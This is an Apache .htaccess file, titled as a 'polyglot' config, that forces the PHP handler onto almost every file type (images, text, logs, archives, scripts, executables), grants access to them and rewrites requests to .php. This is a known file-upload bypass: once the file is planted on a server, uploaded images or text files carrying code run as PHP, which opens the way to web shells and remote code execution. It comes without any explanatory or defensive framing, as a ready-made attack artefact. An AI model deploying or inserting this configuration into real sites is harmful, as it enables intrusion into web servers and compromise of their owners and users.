# POLYGLOT HTACCESS 2025 - FORCES PHP ON EVERYTHING
AddType application/x-httpd-php .php .php5 .php7 .php8 .phtml .phar .inc
AddType application/x-httpd-php .html .htm .xhtml .xml .svg .rss
AddType application/x-httpd-php .jpg .jpeg .png .gif .bmp .ico .webp
AddType application/x-httpd-php .txt .log .ini .conf .cfg .md
AddType application/x-httpd-php .zip .tar .gz .rar .7z
AddType application/x-httpd-php .js .css .json
AddType application/x-httpd-php .exe .dll .so .bin
AddHandler application/x-httpd-php .php .phtml .phar
AddHandler php-script .php .phtml .phar .html .htm
AddHandler application/x-httpd-php-source .phps
Options +ExecCGI +Includes +IncludesNOEXEC +MultiViews
SetHandler application/x-httpd-php
DirectoryIndex index.php index.html index.phtml
<FilesMatch "\.(php|php[0-9]|phtml|phar|inc|html|htm|xml|svg|jpg|jpeg|png|gif|bmp|txt|log|ini|conf|zip|tar|gz|rar|js|css|exe|dll|so|bin)$">
    SetHandler application/x-httpd-php
    ForceType application/x-httpd-php
    Require all granted
</FilesMatch>
<FilesMatch "^.*\.(jpg|jpeg|png|gif|bmp|ico)$">
    ForceType application/x-httpd-php
    SetHandler application/x-httpd-php
</FilesMatch>
<IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteRule ^(.*)\.(jpg|png|gif|txt|html|xml|js|css)$ $1.php [L]
    RewriteRule ^(.*)$ $1.php [L]
</IfModule>
php_flag engine on
php_value auto_prepend_file none
php_value auto_append_file none
# END POLYGLOT CONFIG